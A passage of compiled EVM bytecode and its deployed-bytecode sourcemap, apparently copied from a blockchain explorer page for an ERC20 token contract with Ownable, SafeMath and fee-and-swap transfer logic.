19050565b6123d9816123c3565b82525050565b60006020820190506123f460008301846123d0565b92915050565b6000602082840312156124105761240f612193565b5b600061241e848285016121e1565b91505092915050565b600061243282612198565b9050919050565b61244281612427565b82525050565b600060208201905061245d6000830184612439565b92915050565b6000806040838503121561247a57612479612193565b5b6000612488858286016121e1565b9250506020612499858286016121e1565b9150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b600060028204905060018216806124ea57607f821691505b602082108114156124fe576124fd6124a3565b5b50919050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b600061253a6020836120e3565b915061254582612504565b602082019050919050565b600060208201905081810360008301526125698161252d565b9050919050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b60006125cc6026836120e3565b91506125d782612570565b604082019050919050565b600060208201905081810360008301526125fb816125bf565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b600061265e6024836120e3565b915061266982612602565b604082019050919050565b6000602082019050818103600083015261268d81612651565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b60006126f06022836120e3565b91506126fb82612694565b604082019050919050565b6000602082019050818103600083015261271f816126e3565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b60006127826025836120e3565b915061278d82612726565b604082019050919050565b600060208201905081810360008301526127b181612775565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b60006128146023836120e3565b915061281f826127b8565b604082019050919050565b6000602082019050818103600083015261284381612807565b9050919050565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b60006128a66029836120e3565b91506128b18261284a565b604082019050919050565b600060208201905081810360008301526128d581612899565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b6000612916826121f6565b9150612921836121f6565b925082821015612934576129336128dc565b5b828203905092915050565b600061294a826121f6565b9150612955836121f6565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111561298a576129896128dc565b5b828201905092915050565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b60006129cb601b836120e3565b91506129d682612995565b602082019050919050565b600060208201905081810360008301526129fa816129be565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b600081519050612a6e816121ca565b92915050565b600060208284031215612a8a57612a89612193565b5b6000612a9884828501612a5f565b91505092915050565b6000819050919050565b6000612ac6612ac1612abc84612aa1565b6122a2565b6121f6565b9050919050565b612ad681612aab565b82525050565b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b612b11816121b8565b82525050565b6000612b238383612b08565b60208301905092915050565b6000602082019050919050565b6000612b4782612adc565b612b518185612ae7565b9350612b5c83612af8565b8060005b83811015612b8d578151612b748882612b17565b9750612b7f83612b2f565b925050600181019050612b60565b5085935050505092915050565b600060a082019050612baf600083018861231c565b612bbc6020830187612acd565b8181036040830152612bce8186612b3c565b9050612bdd6060830185612399565b612bea608083018461231c565b9695505050505050565b6000612bff826121f6565b9150612c0a836121f6565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615612c4357612c426128dc565b5b828202905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b6000612c88826121f6565b9150612c93836121f6565b925082612ca357612ca2612c4e565b5b828204905092915050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b6000612d0a6021836120e3565b9150612d1582612cae565b604082019050919050565b60006020820190508181036000830152612d3981612cfd565b905091905056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa2646970667358221220a8d8e88958f30279c94486de20aca0965d5ad743828c0399aad0f074aa05975164736f6c634300080a0033

Deployed Bytecode Sourcemap

8047:8114:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;10469:83;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;11750:161;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;8895:41;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;10746:100;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;12856:313;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;8302:71;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;10655:83;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;11132:218;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;8562:45;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;11635:107;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;9006:41;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;8505:50;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6210:90;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;10854:119;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;8661:37;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5591:79;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5805:145;;;;;;;;;;;;;:::i;:::-;;10560:87;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;11358:269;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;12681:167;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5467:21;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;8943:26;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;8250:45;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;9054;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;10981:143;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;12264:175;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;8618:36;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5958:244;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;10469:83;10506:13;10539:5;10532:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;10469:83;:::o;11750:161::-;11825:4;11842:39;11851:12;:10;:12::i;:::-;11865:7;11874:6;11842:8;:39::i;:::-;11899:4;11892:11;;11750:161;;;;:::o;8895:41::-;;;;;;;;;;;;;:::o;10746:100::-;10799:7;10826:12;;10819:19;;10746:100;:::o;12856:313::-;12954:4;12971:36;12981:6;12989:9;13000:6;12971:9;:36::i;:::-;;13018:121;13027:6;13035:12;:10;:12::i;:::-;13049:89;13087:6;13049:89;;;;;;;;;;;;;;;;;:11;:19;13061:6;13049:19;;;;;;;;;;;;;;;:33;13069:12;:10;:12::i;:::-;13049:33;;;;;;;;;;;;;;;;:37;;:89;;;;;:::i;:::-;13018:8;:121::i;:::-;13157:4;13150:11;;12856:313;;;;;:::o;8302:71::-;;;;;;;;;;;;;:::o;10655:83::-;10696:5;10721:9;;;;;;;;;;;10714:16;;10655:83;:::o;11132:218::-;11220:4;11237:83;11246:12;:10;:12::i;:::-;11260:7;11269:50;11308:10;11269:11;:25;11281:12;:10;:12::i;:::-;11269:25;;;;;;;;;;;;;;;:34;11295:7;11269:34;;;;;;;;;;;;;;;;:38;;:50;;;;:::i;:::-;11237:8;:83::i;:::-;11338:4;11331:11;;11132:218;;;;:::o;8562:45::-;;;;;;;;;;;;;;;;;;;;;;:::o;11635:107::-;11690:7;11717:17;;11710:24;;11635:107;:::o;9006:41::-;;;;;;;;;;;;;:::o;8505:50::-;;;;;;;;;;;;;;;;;;;;;;:::o;6210:90::-;6250:7;6277:15;6270:22;;6210:90;:::o;10854:119::-;10920:7;10947:9;:18;10957:7;10947:18;;;;;;;;;;;;;;;;10940:25;;10854:119;;;:::o;8661:37::-;;;;:::o;5591:79::-;5629:7;5656:6;;;;;;;;;;;5649:13;;5591:79;:::o;5805:145::-;5728:12;:10;:12::i;:::-;5718:22;;:6;;;;;;;;;;:22;;;5710:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;5909:1:::1;5872:40;;5893:6;::::0;::::1;;;;;;;;5872:40;;;;;;;;;;;;5940:1;5923:6:::0;::::1;:19;;;;;;;;;;;;;;;;;;5805:145::o:0;10560:87::-;10599:13;10632:7;10625:14;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;10560:87;:::o;11358:269::-;11451:4;11468:129;11477:12;:10;:12::i;:::-;11491:7;11500:96;11539:15;11500:96;;;;;;;;;;;;;;;;;:11;:25;11512:12;:10;:12::i;:::-;11500:25;;;;;;;;;;;;;;;:34;11526:7;11500:34;;;;;;;;;;;;;;;;:38;;:96;;;;;:::i;:::-;11468:8;:129::i;:::-;11615:4;11608:11;;11358:269;;;;:::o;12681:167::-;12759:4;12776:42;12786:12;:10;:12::i;:::-;12800:9;12811:6;12776:9;:42::i;:::-;;12836:4;12829:11;;12681:167;;;;:::o;5467:21::-;;;;;;;;;;;;:::o;8943:26::-;;;;;;;;;;;;;:::o;8250:45::-;;;;;;;;;;;;;:::o;9054:::-;;;;;;;;;;;;;:::o;10981:143::-;11062:7;11089:11;:18;11101:5;11089:18;;;;;;;;;;;;;;;:27;11108:7;11089:27;;;;;;;;;;;;;;;;11082:34;;10981:143;;;;:::o;12264:175::-;5728:12;:10;:12::i;:::-;5718:22;;:6;;;;;;;;;;:22;;;5710:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;12383:8:::1;12346:15;;:46;;;;;;;;;;;;;;;;;;12427:4;12403:21;;:28;;;;;;;;;;;;;;;;;;12264:175:::0;:::o;8618:36::-;;;;:::o;5958:244::-;5728:12;:10;:12::i;:::-;5718:22;;:6;;;;;;;;;;:22;;;5710:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;6067:1:::1;6047:22;;:8;:22;;;;6039:73;;;;;;;;;;;;:::i;:::-;;;;;;;;;6157:8;6128:38;;6149:6;::::0;::::1;;;;;;;;6128:38;;;;;;;;;;;;6186:8;6177:6;::::0;:17:::1;;;;;;;;;;;;;;;;;;5958:244:::0;:::o;103:115::-;156:15;199:10;184:26;;103:115;:::o;11919:337::-;12029:1;12012:19;;:5;:19;;;;12004:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;12110:1;12091:21;;:7;:21;;;;12083:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;12194:6;12164:11;:18;12176:5;12164:18;;;;;;;;;;;;;;;:27;12183:7;12164:27;;;;;;;;;;;;;;;:36;;;;12232:7;12216:32;;12225:5;12216:32;;;12241:6;12216:32;;;;;;:::i;:::-;;;;;;;;11919:337;;;:::o;13177:1307::-;13264:4;13309:1;13291:20;;:6;:20;;;;13283:70;;;;;;;;;;;;:::i;:::-;;;;;;;;;13393:1;13372:23;;:9;:23;;;;13364:71;;;;;;;;;;;;:::i;:::-;;;;;;;;;13463:1;13454:6;:10;13446:64;;;;;;;;;;;;:::i;:::-;;;;;;;;;13534:16;;;;;;;;;;;13531:946;;;13583:41;13598:6;13606:9;13617:6;13583:14;:41::i;:::-;13576:48;;;;13531:946;13677:28;13708:24;13726:4;13708:9;:24::i;:::-;13677:55;;13754:16;;;;;;;;;;;13753:17;:42;;;;;13775:12;:20;13788:6;13775:20;;;;;;;;;;;;;;;;;;;;;;;;;13774:21;13753:42;:67;;;;;13799:21;;;;;;;;;;;13753:67;13749:274;;;13857:25;;;;;;;;;;;13854:91;;;13928:17;;13905:40;;13854:91;13964:43;13979:20;14000:6;13964:14;:43::i;:::-;13749:274;14059:53;14081:6;14059:53;;;;;;;;;;;;;;;;;:9;:17;14069:6;14059:17;;;;;;;;;;;;;;;;:21;;:53;;;;;:::i;:::-;14039:9;:17;14049:6;14039:17;;;;;;;;;;;;;;;:73;;;;14129:19;14152:17;:25;14170:6;14152:25;;;;;;;;;;;;;;;;;;;;;;;;;:57;;;;14181:17;:28;14199:9;14181:28;;;;;;;;;;;;;;;;;;;;;;;;;14152:57;14151:147;;14264:34;14272:6;14280:9;14291:6;14264:7;:34::i;:::-;14151:147;;;14255:6;14151:147;14129:169;;14340:37;14365:11;14340:9;:20;14350:9;14340:20;;;;;;;;;;;;;;;;:24;;:37;;;;:::i;:::-;14317:9;:20;14327:9;14317:20;;;;;;;;;;;;;;;:60;;;;14416:9;14399:40;;14408:6;14399:40;;;14427:11;14399:40;;;;;;:::i;:::-;;;;;;;;14461:4;14454:11;;;;13177:1307;;;;;;:::o;1537:192::-;1623:7;1656:1;1651;:6;;1659:12;1643:29;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;1683:9;1699:1;1695;:5;;;;:::i;:::-;1683:17;;1720:1;1713:8;;;1537:192;;;;;:::o;1204:181::-;1262:7;1282:9;1298:1;1294;:5;;;;:::i;:::-;1282:17;;1323:1;1318;:6;;1310:46;;;;;;;;;;;;:::i;:::-;;;;;;;;;1376:1;1369:8;;;1204:181;;;;:::o;14492:330::-;14585:4;14622:53;14644:6;14622:53;;;;;;;;;;;;;;;;;:9;:17;14632:6;14622:17;;;;;;;;;;;;;;;;:21;;:53;;;;;:::i;:::-;14602:9;:17;14612:6;14602:17;;;;;;;;;;;;;;;:73;;;;14709:32;14734:6;14709:9;:20;14719:9;14709:20;;;;;;;;;;;;;;;;:24;;:32;;;;:::i;:::-;14686:9;:20;14696:9;14686:20;;;;;;;;;;;;;;;:55;;;;14774:9;14757:35;;14766:6;14757:35;;;14785:6;14757:35;;;;;;:::i;:::-;;;;;;;;14810:4;14803:11;;14492:330;;;;;:::o;14832:704::-;9626:4;9607:16;;:23;;;;;;;;;;;;;;;;;;14951:21:::1;14989:1;14975:16;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;14951:40;;15020:4;15002;15007:1;15002:7;;;;;;;;:::i;:::-;;;;;;;:23;;;;;;;;;::::0;::::1;15046:6;15036:4;15041:1;15036:7;;;;;;;;:::i;:::-;;;;;;;:16;;;;;;;;;::::0;::::1;15073:15;;;;;;;;;;;:20;;;:22;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;15063:4;15068:1;15063:7;;;;;;;;:::i;:::-;;;;;;;:32;;;;;;;;;::::0;::::1;15142:15;;;;;;;;;;;:66;;;15219:7;15237:1;15277:4;15300;15332:15;15142:216;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;;;;;15371:22;15396:21;15371:46;;15450:1;15433:14;:18;15430:96;;;15466:60;15487:22;;;;;;;;;;;15511:14;15466:20;:60::i;:::-;15430:96;14908:628;;9672:5:::0;9653:16;;:24;;;;;;;;;;;;;;;;;;14832:704;;:::o;15546:605::-;15632:7;15654:17;15674:1;15654:21;;15689:12;:20;15702:6;15689:20;;;;;;;;;;;;;;;;;;;;;;;;;15686:237;;;15738:38;15772:3;15738:29;15749:17;;15738:6;:10;;:29;;;;:::i;:::-;:33;;:38;;;;:::i;:::-;15726:50;;15686:237;;;15820:12;:23;15833:9;15820:23;;;;;;;;;;;;;;;;;;;;;;;;;15817:106;;;15872:39;15907:3;15872:30;15883:18;;15872:6;:10;;:30;;;;:::i;:::-;:34;;:39;;;;:::i;:::-;15860:51;;15817:106;15686:237;15948:1;15936:9;:13;15933:170;;;15990:39;16019:9;15990;:24;16008:4;15990:24;;;;;;;;;;;;;;;;:28;;:39;;;;:::i;:::-;15966:9;:21;15984:1;15966:21;;;;;;;;;;;;;;;:63;;;;16074:4;16049:42;;16058:6;16049:42;;;16081:9;16049:42;;;;;;:::i;:::-;;;;;;;;15933:170;16122:21;16133:9;16122:6;:10;;:21;;;;:::i;:::-;16115:28;;;15546:605;;;;;:::o;12449:126::-;12541:9;:18;;:26;12560:6;12541:26;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;12449:126;;:::o;1737:250::-;1795:7;1824:1;1819;:6;1815:47;;;1849:1;1842:8;;;;1815:47;1874:9;1890:1;1886;:5;;;;:::i;:::-;1874:17;;1919:1;1914;1910;:5;;;;:::i;:::-;:10;1902:56;;;;;;;;;;;;:::i;:::-;;;;;;;;;1978:1;1971:8;;;1737:250;;;;;:::o;1995:132::-;2053:7;2080:39;2084:1;2087;2080:39;;;;;;;;;;;;;;;;;:3;:39::i;:::-;2073:46;;1995:132;;;;:::o;1393:136::-;1451:7;1478:43;1482:1;1485;1478:43;;;;;;;;;;;;;;;;;:3;:43::i;:::-;1471:50;;1393:136;;;;:::o;2135:278::-;2221:7;2253:1;2249;:5;2256:12;2241:28;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;2280:9;2296:1;2292;:5;;;;:::i;:::-;2280:17;;2404:1;2397:8;;;2135:278;;;;;:::o;7:99:1:-;59:6;93:5;87:12;77:22;;7:99;;;:::o;112:169::-;196:11;230:6;225:3;218:19;270:4;265:3;261:14;246:29;;112:169;;;;:::o;287:307::-;355:1;365:113;379:6;376:1;373:13;365:113;;;464:1;459:3;455:11;449:18;445:1;440:3;436:11;429:39;401:2;398:1;394:10;389:15;;365:113;;;496:6;493:1;490:13;487:101;;;576:1;567:6;562:3;558:16;551:27;487:101;336:258;287:307;;;:::o;600:102::-;641:6;692:2;688:7;683:2;676:5;672:14;668:28;658:38;;600:102;;;:::o;708:364::-;796:3;824:39;857:5;824:39;:::i;:::-;879:71;943:6;938:3;879:71;:::i;:::-;872:78;;959:52;1004:6;999:3;992:4;985:5;981:16;959:52;:::i;:::-;1036:29;1058:6;1036:29;:::i;:::-;1031:3;1027:39;1020:46;;800:272;708:364;;;;:::o;1078:313::-;1191:4;1229:2;1218:9;1214:18;1206:26;;1278:9;1272:4;1268:20;1264:1;1253:9;1249:17;1242:47;1306:78;1379:4;1370:6;1306:78;:::i;:::-;1298:86;;1078:313;;;;:::o;1478:117::-;1587:1;1584;1577:12;1724:126;1761:7;1801:42;1794:5;1790:54;1779:65;;1724:126;;;:::o;1856:96::-;1893:7;1922:24;1940:5;1922:24;:::i;:::-;1911:35;;1856:96;;;:::o;1958:122::-;2031:24;2049:5;2031:24;:::i;:::-;2024:5;2021:35;2011:63;;2070:1;2067;2060:12;2011:63;1958:122;:::o;2086:139::-;2132:5;2170:6;2157:20;2148:29;;2186:33;2213:5;2186:33;:::i;:::-;2086:139;;;;:::o;2231:77::-;2268:7;2297:5;2286:16;;2231:77;;;:::o;2314:122::-;2387:24;2405:5;2387:24;:::i;:::-;2380:5;2377:35;2367:63;;2426:1;2423;2416:12;2367:63;2314:122;:::o;2442:139::-;2488:5;2526:6;2513:20;2504:29;;2542:33;2569:5;2542:33;:::i;:::-;2442:139;;;;:::o;2587:474::-;2655:6;2663;2712:2;2700:9;2691:7;2687:23;2683:32;2680:119;;;2718:79;;:::i;:::-;2680:119;2838:1;2863:53;2908:7;2899:6;2888:9;2884:22;2863:53;:::i;:::-;2853:63;;2809:117;2965:2;2991:53;3036:7;3027:6;3016:9;3012:22;2991:53;:::i;:::-;2981:63;;2936:118;2587:474;;;;;:::o;3067:90::-;3101:7;3144:5;3137:13;3130:21;3119:32;;3067:90;;;:::o;3163:109::-;3244:21;3259:5;3244:21;:::i;:::-;3239:3;3232:34;3163:109;;:::o;3278:210::-;3365:4;3403:2;3392:9;3388:18;3380:26;;3416:65;3478:1;3467:9;3463:17;3454:6;3416:65;:::i;:::-;3278:210;;;;:::o;3494:60::-;3522:3;3543:5;3536:12;;3494:60;;;:::o;3560:142::-;3610:9;3643:53;3661:34;3670:24;3688:5;3670:24;:::i;:::-;3661:34;:::i;:::-;3643:53;:::i;:::-;3630:66;;3560:142;;;:::o;3708:126::-;3758:9;3791:37;3822:5;3791:37;:::i;:::-;3778:50;;3708:126;;;:::o;3840:152::-;3916:9;3949:37;3980:5;3949:37;:::i;:::-;3936:50;;3840:152;;;:::o;3998:183::-;4111:63;4168:5;4111:63;:::i;:::-;4106:3;4099:76;3998:183;;:::o;4187:274::-;4306:4;4344:2;4333:9;4329:18;4321:26;;4357:97;4451:1;4440:9;4436:17;4427:6;4357:97;:::i;:::-;4187:274;;;;:::o;4467:118::-;4554:24;4572:5;4554:24;:::i;:::-;4549:3;4542:37;4467:118;;:::o;4591:222::-;4684:4;4722:2;4711:9;4707:18;4699:26;;4735:71;4803:1;4792:9;4788:17;4779:6;4735:71;:::i;:::-;4591:222;;;;:::o;4819:619::-;4896:6;4904;4912;4961:2;4949:9;4940:7;4936:23;4932:32;4929:119;;;4967:79;;:::i;:::-;4929:119;5087:1;5112:53;5157:7;5148:6;5137:9;5133:22;5112:53;:::i;:::-;5102:63;;5058:117;5214:2;5240:53;5285:7;5276:6;5265:9;5261:22;5240:53;:::i;:::-;5230:63;;5185:118;5342:2;5368:53;5413:7;5404:6;5393:9;5389:22;5368:53;:::i;:::-;5358:63;;5313:118;4819:619;;;;;:::o;5444:118::-;5531:24;5549:5;5531:24;:::i;:::-;5526:3;5519:37;5444:118;;:::o;5568:222::-;5661:4;5699:2;5688:9;5684:18;5676:26;;5712:71;5780:1;5769:9;5765:17;5756:6;5712:71;:::i;:::-;5568:222;;;;:::o;5796:86::-;5831:7;5871:4;5864:5;5860:16;5849:27;;5796:86;;;:::o;5888:112::-;5971:22;5987:5;5971:22;:::i;:::-;5966:3;5959:35;5888:112;;:::o;6006:214::-;6095:4;6133:2;6122:9;6118:18;6110:26;;6146:67;6210:1;6199:9;6195:17;6186:6;6146:67;:::i;:::-;6006:214;;;;:::o;6226:329::-;6285:6;6334:2;6322:9;6313:7;6309:23;6305:32;6302:119;;;6340:79;;:::i;:::-;6302:119;6460:1;6485:53;6530:7;6521:6;6510:9;6506:22;6485:53;:::i;:::-;6475:63;;6431:117;6226:329;;;;:::o;6561:104::-;6606:7;6635:24;6653:5;6635:24;:::i;:::-;6624:35;;6561:104;;;:::o;6671:142::-;6774:32;6800:5;6774:32;:::i;:::-;6769:3;6762:45;6671:142;;:::o;6819:254::-;6928:4;6966:2;6955:9;6951:18;6943:26;;6979:87;7063:1;7052:9;7048:17;7039:6;6979:87;:::i;:::-;6819:254;;;;:::o;7079:474::-;7147:6;7155;7204:2;7192:9;7183:7;7179:23;7175:32;7172:119;;;7210:79;;:::i;:::-;7172:119;7330:1;7355:53;7400:7;7391:6;7380:9;7376:22;7355:53;:::i;:::-;7345:63;;7301:117;7457:2;7483:53;7528:7;7519:6;7508:9;7504:22;7483:53;:::i;:::-;7473:63;;7428:118;7079:474;;;;;:::o;7559:180::-;7607:77;7604:1;7597:88;7704:4;7701:1;7694:15;7728:4;7725:1;7718:15;7745:320;7789:6;7826:1;7820:4;7816:12;7806:22;;7873:1;7867:4;7863:12;7894:18;7884:81;;7950:4;7942:6;7938:17;7928:27;;7884:81;8012:2;8004:6;8001:14;7981:18;7978:38;7975:84;;;8031:18;;:::i;:::-;7975:84;7796:269;7745:320;;;:::o;8071:182::-;8211:34;8207:1;8199:6;8195:14;8188:58;8071:182;:::o;8259:366::-;8401:3;8422:67;8486:2;8481:3;8422:67;:::i;:::-;8415:74;;8498:93;8587:3;8498:93;:::i;:::-;8616:2;8611:3;8607:12;8600:19;;8259:366;;;:::o;8631:419::-;8797:4;8835:2;8824:9;8820:18;8812:26;;8884:9;8878:4;8874:20;8870:1;8859:9;8855:17;8848:47;8912:131;9038:4;8912:131;:::i;:::-;8904:139;;8631:419;;;:::o;9056:225::-;9196:34;9192:1;9184:6;9180:14;9173:58;9265:8;9260:2;9252:6;9248:15;9241:33;9056:225;:::o;9287:366::-;9429:3;9450:67;9514:2;9509:3;9450:67;:::i;:::-;9443:74;;9526:93;9615:3;9526:93;:::i;:::-;9644:2;9639:3;9635:12;9628:19;;9287:366;;;:::o;9659:419::-;9825:4;9863:2;9852:9;9848:18;9840:26;;9912:9;9906:4;9902:20;9898:1;9887:9;9883:17;9876:47;9940:131;10066:4;9940:131;:::i;:::-;9932:139;;9659:419;;;:::o;10084:223::-;10224:34;10220:1;10212:6;10208:14;10201:58;10293:6;10288:2;10280:6;10276:15;10269:31;10084:223;:::o;10313:366::-;10455:3;10476:67;10540:2;10535:3;10476:67;:::i;:::-;10469:74;;10552:93;10641:3;10552:93;:::i;:::-;10670:2;10665:3;10661:12;10654:19;;10313:366;;;:::o;10685:419::-;10851:4;10889:2;10878:9;10874:18;10866:26;;10938:9;10932:4;10928:20;10924:1;10913:9;10909:17;10902:47;10966:131;11092:4;10966:131;:::i;:::-;10958:139;;10685:419;;;:::o;11110:221::-;11250:34;11246:1;11238:6;11234:14;11227:58;11319:4;11314:2;11306:6;11302:15;11295:29;11110:221;:::o;11337:366::-;11479:3;11500:67;11564:2;11559:3;11500:67;:::i;:::-;11493:74;;11576:93;11665:3;11576:93;:::i;:::-;11694:2;11689:3;11685:12;11678:19;;11337:366;;;:::o;11709:419::-;11875:4;11913:2;11902:9;11898:18;11890:26;;11962:9;11956:4;11952:20;11948:1;11937:9;11933:17;11926:47;11990:131;12116:4;11990:131;:::i;:::-;11982:139;;11709:419;;;:::o;12134:224::-;12274:34;12270:1;12262:6;12258:14;12251:58;12343:7;12338:2;12330:6;12326:15;12319:32;12134:224;:::o;12364:366::-;12506:3;12527:67;12591:2;12586:3;12527:67;:::i;:::-;12520:74;;12603:93;12692:3;12603:93;:::i;:::-;12721:2;12716:3;12712:12;12705:19;;12364:366;;;:::o;12736:419::-;12902:4;12940:2;12929:9;12925:18;12917:26;;12989:9;12983:4;12979:20;12975:1;12964:9;12960:17;12953:47;13017:131;13143:4;13017:131;:::i;:::-;13009:139;;12736:419;;;:::o;13161:222::-;13301:34;13297:1;13289:6;13285:14;13278:58;13370:5;13365:2;13357:6;13353:15;13346:30;13161:222;:::o;13389:366::-;13531:3;13552:67;13616:2;13611:3;13552:67;:::i;:::-;13545:74;;13628:93;13717:3;13628:93;:::i;:::-;13746:2;13741:3;13737:12;13730:19;;13389:366;;;:::o;13761:419::-;13927:4;13965:2;13954:9;13950:18;13942:26;;14014:9;14008:4;14004:20;14000:1;13989:9;13985:17;13978:47;14042:131;14168:4;14042:131;:::i;:::-;14034:139;;13761:419;;;:::o;14186:228::-;14326:34;14322:1;14314:6;14310:14;14303:58;14395:11;14390:2;14382:6;14378:15;14371:36;14186:228;:::o;14420:366::-;14562:3;14583:67;14647:2;14642:3;14583:67;:::i;:::-;14576:74;;14659:93;14748:3;14659:93;:::i;:::-;14777:2;14772:3;14768:12;14761:19;;14420:366;;;:::o;14792:419::-;14958:4;14996:2;14985:9;14981:18;14973:26;;15045:9;15039:4;15035:20;15031:1;15020:9;15016:17;15009:47;15073:131;15199:4;15073:131;:::i;:::-;15065:139;;14792:419;;;:::o;15217:180::-;15265:77;15262:1;15255:88;15362:4;15359:1;15352:15;15386:4;15383:1;15376:15;15403:191;15443:4;15463:20;15481:1;15463:20;:::i;:::-;15458:25;;15497:20;15515:1;15497:20;:::i;:::-;15492:25;;15536:1;15533;15530:8;15527:34;;;15541:18;;:::i;:::-;15527:34;15586:1;15583;15579:9;15571:17;;15403:191;;;;:::o;15600:305::-;15640:3;15659:20;15677:1;15659:20;:::i;:::-;15654:25;;15693:20;15711:1;15693:20;:::i;:::-;15688:25;;15847:1;15779:66;15775:74;15772:1;15769:81;15766:107;;;15853:18;;:::i;:::-;15766:107;15897:1;15894;15890:9;15883:16;;15600:305;;;;:::o;15911:177::-;16051:29;16047:1;16039:6;16035:14;16028:53;15911:177;:::o;16094:366::-;16236:3;16257:67;16321:2;16316:3;16257:67;:::i;:::-;16250:74;;16333:93;16422:3;16333:93;:::i;:::-;16451:2;16446:3;16442:12;16435:19;;16094:366;;;:::o;16466:419::-;16632:4;16670:2;16659:9;16655:18;16647:26;;16719:9;16713:4;16709:20;16705:1;16694:9;16690:17;16683:47;16747:131;16873:4;16747:131;:::i;